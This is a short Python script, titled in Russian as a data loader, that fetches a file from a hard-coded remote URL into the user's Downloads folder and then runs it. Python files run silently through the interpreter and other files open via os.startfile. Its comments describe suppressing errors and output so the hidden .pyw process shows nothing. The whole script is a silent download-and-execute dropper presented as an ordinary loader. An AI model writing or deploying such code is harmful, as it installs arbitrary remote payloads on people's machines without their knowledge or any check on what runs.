Загрузка данных


import os
import sys
import subprocess
from pathlib import Path
from urllib.request import urlopen, Request

URL = "https://encrypted.xo.je/download"

def get_filename(url, resp):
    cd = resp.headers.get("Content-Disposition", "")
    if "filename=" in cd:
        # Берем часть после filename=, очищаем от кавычек, пробелов и точек с запятой
        filename_part = cd.split("filename=")[-1]
        filename = filename_part.strip('"\' ;')
        # .name защищает от попыток подменить путь через ../../
        return Path(filename).name
    return Path(url).name or "downloaded"

def main():
    downloads = Path.home() / "Downloads"
    downloads.mkdir(parents=True, exist_ok=True)

    initial_name = Path(URL).name or "downloaded"
    path = downloads / initial_name

    # 1. Логика скачивания (многоразовая)
    if not path.exists():
        req = Request(URL, headers={"User-Agent": "Mozilla/5.0"})
        try:
            with urlopen(req, timeout=30) as r:
                real_name = get_filename(URL, r)
                if real_name != initial_name:
                    path = downloads / real_name
                
                # Скачиваем только если итогового файла всё ещё нет
                if not path.exists():
                    # ИСПРАВЛЕНИЕ 1: Чтение чанками (кусками), чтобы не забивать оперативную память, 
                    # если файл окажется большим. r.read() грузит всё сразу.
                    with open(path, "wb") as f:
                        while True:
                            chunk = r.read(8192)
                            if not chunk:
                                break
                            f.write(chunk)
        except Exception:
            # Тихо игнорируем ошибки сети (нет интернета, таймаут), чтобы .pyw не крашился
            pass

    # 2. Логика запуска (многоразовая)
    if path.exists():
        if path.suffix.lower() in (".py", ".pyw"):
            # ИСПРАВЛЕНИЕ 2: DEVNULL гарантирует, что если скачанный скрипт что-то выведет, 
            # это не вызовет мерцание консоли или ошибки в фоновом .pyw процессе.
            subprocess.run(
                [sys.executable, str(path)], 
                stdout=subprocess.DEVNULL, 
                stderr=subprocess.DEVNULL
            )
        else:
            # Работает только в Windows, открывает файл ассоциированной программой
            os.startfile(str(path))

if __name__ == "__main__":
    main()